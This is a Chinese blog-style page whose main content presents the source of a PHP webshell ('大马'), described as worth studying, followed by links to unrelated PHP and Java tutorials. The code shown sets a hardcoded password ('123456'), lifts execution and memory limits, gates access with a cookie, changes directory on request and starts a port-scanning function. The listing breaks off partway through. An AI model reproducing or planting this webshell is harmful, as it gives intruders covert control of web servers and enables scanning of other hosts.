易截截图软件、单文件、免安装、纯绿色、仅160KB

一php大马,值得研究

<?php
#--Config--#
$login_password= '123456'; //这是密码
#----------#
error_reporting(E_ALL);
set_time_limit(0);
ini_set("max_execution_time","0");
ini_set("memory_limit","9999M");
set_magic_quotes_runtime(0);
if(!isset($_SERVER))$_SERVER = &$HTTP_SERVER_VARS;
if(!isset($_POST))$_POST = &$HTTP_POST_VARS;
if(!isset($_GET))$_GET = &$HTTP_GET_VARS;
if(!isset($_COOKIE))$_COOKIE=$HTTP_COOKIE_VARS;
$_REQUEST = array_merge($_GET, $_POST);
if (get_magic_quotes_gpc()){
foreach ($_REQUEST as $key=>$value)
{
$_REQUEST[$key]=stripslashes($value);
}
}
function hlinK($str=""){
$myvars=array('workingdiR','urL','imagE','namE','filE','downloaD','seC','cP','mV','rN','deL');
$ret=$_SERVER['PHP_SELF']."?";
$new=explode("&",$str);
foreach ($_GET as $key => $v){
$add=1;
foreach($new as $m){
$el = explode("=", $m);
if ($el[0]==$key)$add=0;
}
if($add)if(!in_array($key,$myvars))$ret.=$key."=".$v."&";
}
$ret.=$str;
return $ret;
}
if(!empty($login_password)){
if(!empty($_REQUEST['fpassw'])){
if($_REQUEST['fpassw']==$login_password)setcookie('passw',md5($_REQUEST['fpassw']));
@header("Location: ".hlinK());
}
if(empty($_COOKIE['passw']) || $_COOKIE['passw']!=md5($login_password))die("<html><body><table><form method=post><tr><td>Password:</td><td><input type=hidden name=seC value=about><input type=password name=fpassw></td></tr><tr><td></td><td><input type=submit value=login></td></tr></form></table></body></html>");
}
if (!empty($_REQUEST['workingdiR'])) chdir($_REQUEST['workingdiR']);
function checkthisporT($ip,$port,$timeout,$type=0){
if(!$type){
$scan=@fsockopen($ip,$port,$n,$s,$timeout);
if($scan){fclose($scan);return 1;}
}
elseif(function_exists('socket_set_timeout')){
$scan=@fsockopen("udp://".$ip,$port);
if($scan){
socket_set_timeout($scan,$timeout);
@fwrite($scan,"\x00");


相关文档:

SQLite Tutorial in PHP

 
SQLite Tutorial in PHP
SQLite is an SQL database manager used locally or on a website, and compatible
in particularly with PHP.
Summary
Installing SQLite and creating a database
.
Installing SQLite. Verifying the installation by creating a base.
Creating and using a SQLite tabl ......

php和java上传文件的方法

java上传文件
需要的第三方jar包有(这里使用apache的)
apache的commons-fileupload(上传用),commons-io (listener清理类用) , commons-beanutils(可选)
具体操作
FileItemFactory factory = new DiskFileItemFactory();
ServletFileUpload upload = new ServletFileUpload(factory);
if(ServletFileUp ......

从php编码习惯谈程序效率!


尽量使用单引号而不是双引号。
尽量使用带条件的include而不是require。
尽量使用echo而不是print。
尽量使用内嵌的HTML而不是echo。
尽量使用str-replace()而不是ereg-replace()。
尽量sql不用联合查询。
......

php和java关于目录树(列出某一目录下文件结构)

java的写法
/**
*
* @param location
* @param nameList保存结果的!
*/
public void listDict(String location, List<String> nameList) {
File fileList = new File(location);
if (fileList.isDirectory()) {
File[] files = fileList.listFiles();
for (File f : files) {
i ......

linux下用phpize给PHP动态添加扩展

使用php的常见问题是:编译php时忘记添加某扩展,后来想添加扩展,但是因为安装php后又装了一些东西如PEAR等,不想删除目录重装,别说,php还真有这样的功能。
  我没有在手册中看到。
  如我想增加bcmath支持,这是一个支持大整数计算的扩展。windows自带而且内置,linux“本类函数仅在 PHP 编译时配置了 --ena ......
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号